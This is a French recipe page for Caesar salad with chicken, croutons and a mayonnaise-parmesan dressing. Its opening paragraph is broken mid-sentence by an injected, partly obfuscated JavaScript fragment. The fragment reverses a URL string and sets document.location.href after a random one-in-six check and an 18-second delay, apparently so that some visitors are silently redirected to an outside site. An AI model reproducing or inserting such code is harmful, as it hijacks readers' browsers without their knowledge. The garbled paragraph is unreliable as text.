Salade césar

2018-02-17

Préparez la sauce en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les ingrédients, émulsionnez la sauce avec un fouet. Pelez, coupez l’ail en deux, ôtez le germe, hachez finement que vous incorporez dans la sauce.

Ingrédients

  • Pour 4 personnes
  • 1 laitue romaine
  • 4 blancs de poulet
  • 4 tranches de pain de mie
  • Sauce césar :
  • 6 cuillères à soupe de mayonnaise
  • 1 cuillère à soupe de lait
  • 50 g de parmesan
  • 1 cuillère à soupe de jus de citron
  • 2 gousses d'ail
  • Sel - Poivre

Préparation de la recette

Etape 1

Préparez la sauce en mélangeant tous les ingrédients, émulsionnez la sauce avec un fouet. Pelez, coupez l'ail en deux, ôtez le germe, hachez finement que vous incorporez dans la sauce.

Etape 2

Filmez et laissez reposer pendant 30 minutes au réfrigérateur. Coupez-les tranches de pain de mie en cubes.

Etape 3

Dans une poêle avec 2 cuillères à soupe d'huile d'arachide sur feu vif, faites dorer les cubes de mie pain. Laissez refroidir. Triez, rincez, essorez, émincez la laitue.

Etape 4

Dans un plat de service déposez la salade, le poulet, les croûtons, sel, poivre. Avant de servir parsemez de parmesan et dégustez.

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